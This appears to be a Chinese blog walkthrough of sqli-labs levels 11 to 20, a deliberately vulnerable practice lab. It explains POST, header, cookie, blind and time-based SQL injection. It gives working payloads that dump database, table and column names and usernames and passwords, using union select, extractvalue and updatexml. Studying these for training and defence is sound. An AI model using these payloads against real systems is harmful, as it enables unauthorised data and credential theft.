sql-lib闯关11-20关
从第11关开始,我们就进入到了POST注入的世界了。
POST
post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以
post的方式提交的服务器的,之后再由服务器端进行验证。
闯关时我们可以用burpsuit抓包软件也可以继续使用火狐+hackbar插件
好,开始闯关
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
我们先输账号为:admin'密码为:123可以看到123被单引号括住,说明是单引号闭合型。

接下来输入账号为:admin'#,密码为:123可以看到,页面显示正确进入,而且还有两个显示位面。

这就基本上和第一关一样,用联合注入。思路和第一关差不多,先输入一个不存在的用户名使前半部分报错0admin' order by 3#,(注意这里注释的话要用#,用–+页面会报错的)

页面错误,将3改为2,页面正常。所以有两个字段。
爆数据库名:Username:0admin' union select 1,database()#

爆数据表名:Username:0admin' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#

爆字段名:Username:0admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')#

爆所有数据:Username:0admin' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

第十二关
和第十一关一样,就是把单引号闭合换成双引号变形闭合就可以啦 {")闭合型注入}

第十三关
发现输入完正确的输入后,他不给我们回显出来,说明这关是盲注了,就又和第五关一样了,参考第五关。通过这关的名字我们可以判断是单引号变形,就是‘)进行闭合

获得数据库名

最后获得用户名和密码(中间跳了一个世纪的距离,不会的看我的上一篇文章很清晰的讲述了如何到这步)和第五关基本一样,不再赘述

第十四关
和第十三关基本一样就是把单引号变形变成双引号,过程不再赘述,最后获得用户名和密码

第十五关
这关题目是说时间延迟单引号盲注,那就用时间延迟吧,但是其实用上一关的布尔盲注也是完全可以的

获取用户名密码


第十六关
和第十五关基本一样,区别就是把单引号闭合变成了双引好括号闭合,没有回显位,用时间盲注


第十七关
这一关不管怎么找闭合性,都只出现同一串英文字母,因为这关对username做了很严格的过滤,对各种引号括号进行了转义,判断。但是它没有对password进行过滤,所有我们来对password进行爆破
Username:admin Password:1' order by 3#可以看到

有个报错显示,想到可以用报错注入。
爆数据库:Username:admin Password:1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit

爆数据表:Password:1'and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))#&sub mit=Submit
但是,到这里发现只出现了一个表名

那这样好像进行不下去了,搜索得知我们可以使用updatexml函数。
(1)updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(2)updatexml(xml_target,xpath_expr,new_xml)
(3)xml_target:原来的xml,也就是要替换的目标;
(4)xpath_expr:xpath的表达式;
(5)new_xml :替换后的xml;
(6)这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,' or updatexml(1,concat('#',(Clause)),1)#
这时,Clause就是我们需要用到的子句了。
爆完整的列名
Password:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

爆字段名:' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#

查询数据时,并不能直接用简单的select concat(username),这样会引起报错。
因为在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。
爆数据:' or updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)#然后修改limit的值就可以查到所有数据。

第十八关
这关是基于报错注入,上一关没有对password进行过滤,这关就进行过滤了,那怎么办呢?这关我们就要用burpsuite抓包神器了(注意把浏览器设置成代理模式,抓包的网站不要用localhost)
我们先输入一个admin,admin,发送到repeater
然后这句话换成我们想要的查询语句就可以了(使用extractvalue进行)
接下来的步骤和之前的报错型注入一摸一样,

获得数据库名

获得数据库表

获得数据库列名

获得用户名密码(这里只显示了一部分密码,当然可以用not in来看其他的密码)

第十九关
这一关一进去输入账户密码就发现有一个Referer的东西,我猜就是改变它的值,事实确实如此,和上一关基本一样就是把agent换成了referer
获得用户名密码

第二十关
进来先输入用户名密码,测试一下,发现是关于cookie值的进行注入,那我们就在这里注入

在这里进行注入

还是那老一套,看加不加单引号,怎么闭合,有几个显示位。最后发现是单引号闭合,有三个显示位

获得数据库名

获得表名,获得列名,获得用户名密码,和第一关的payload一样,不再演示了
11-20关结束
sql-lib闯关11-20关的更多相关文章
- sqli-labs通关----11~20关
第十一关 从第十一关开始,就开始用post来提交数据了,我们每关的目的都是获取users表下password字段的内容. post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常 ...
- Monyer's Game 11~15关过关方法
到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...
- SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关
0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...
- XSS挑战20关
第一关: 没有过滤,直接构造payload过关: http://127.0.0.1/xssgame/level1.php?name=test%3Cscript%3Ealert%28111%29%3C/ ...
- 20道C#练习题(二)11——20题
11.一个游戏,前20关是每一关自身的分数,1-30关每一关是10分,31-40关,每一关是20分,1-49关,每一关是30分,第50关是100分,输入你现在闯到的关卡数,求你现在拥有的分数.利用if ...
- sql 第 10条 到20条
sql 第 10条 到20条 select * from( select *,ROW_NUMBER () over (order by @@servername) as rownum from tb_ ...
- SQL反模式学习笔记20 明文密码
目标:恢复或重置密码 反模式:使用明文存储密码 1.存储密码 使用明文存储密码或者在网络上传递密码是不安全的. 如果攻击者截取到你用来插入(或者修改)密码的sql语句,就可以获得密码. 黑客获 ...
- SQL Server安全(11/11):审核(Auditing)
在保密你的服务器和数据,防备当前复杂的攻击,SQL Server有你需要的一切.但在你能有效使用这些安全功能前,你需要理解你面对的威胁和一些基本的安全概念.这篇文章提供了基础,因此你可以对SQL Se ...
- sqlplus: error while loading shared libraries: /u01/app/lib/libclntsh.so.11.1
成功安装了Oracle 11g后,使用sqlplus登录数据库时遇到下面错误: [oracle@DB-Server ~]$ sqlplus / as sysdba sqlplus: error w ...
- Error after SQL Server 2012 installation: Login Failure for "SQL Server Integration Services 11.0" SSIS service
When you install SQL Server 2012 and you try to connect to SSIS services, you cannot due to that the ...
随机推荐
- MAC使用nginx分发80至8080端口
由于项目必须要启动80端口,但是mac系统中非root用户无法直接使用1024以下的端口 2.释放apache的80端口 由于Mac OS是自带Apache服务的,它本身占用了80端口,首先你需要将A ...
- ZeroMQ,史上最快的消息队列
一.ZMQ 是什么 阅读了 ZMQ 的 Guide 文档后,我的理解是,这是个类似于 Socket 的一系列接口,他跟 Socket 的区别是:普通的 socket 是端到端的(1:1的关系),而 Z ...
- Twins:眼红红 - fancybot的博客
"我最初面红.现在双眼通红" TWINS 听听歌.小时候.听得最最最多的就是TWINS的了 跳过图片 跳过歌词 眼红红 Twins 仍然怀念他 一起去学结他 一对黑眼圈 回望中三暑 ...
- R语言入门级实例——用igragh包分析社群
R语言入门级实例——用igragh包分析社群 引入—— 本文的主要目的是初步实现R的igraph包的基础功能,包括绘制关系网络图(social relationship).利用算法进行社群发现(com ...
- 7-29 jmu-python-不同进制数 (10 分)
输入一个十进制整数,输出其对应的八进制数和十六进制数.要求采用print函数的格式控制进行输出,八进制数要加前缀0o,十六进制数要加前缀0x. 输入格式: 输入一个十进制整数,例如:10 输出格式: ...
- CSS中"position:relative"属性与文档流的关系
前言 近期遇到一个问题--"position:relative"到底会不会导致元素脱离文档流?主流观点是不会,但都给不出一个有说服力的论据.最后我自己佐证了一番,总算有了个结果:& ...
- 盒马微信小程序
盒马app刚出现,就吸足了眼球.最近看了看盒马界面,很Q,就想着仿照app写个小程序. 功能介绍 好奇微信小程序是如何制作的,也对盒马app感兴趣,就尝试写了这个盒马小程序.实现了app的部分功能,还 ...
- uWSGI, send_file and Python 3.5
当你的Flask项目通过Nginx+uWSGI成功部署的时候,当你很高兴你Flask里面的接口成功跑通的时候,你会发现真高兴!好牛逼! 然后当你写了其他几个接口的时候,在启动uWSGI服务的时候,死活 ...
- 如何把.a转化为framework
在Xcode中,framework比分散的.a和.h文件用起来方便的多.然而,只要你一找如何制作framework,多半你就会放弃,“怎么这么麻烦?!” 尤其是当已经有现成的.a和.h时,你就会更不能 ...
- GPS同步时钟装置应用及选择
GPS同步时钟装置应用及选择 GPS是全球定位系统的简称,GPS具有全天时.全天候.高精度.定位和授时服务,GPS卫星授时成本低.安全可靠.覆盖范围广.GPS同步时钟装置,是指从GPS卫星上获取时间信 ...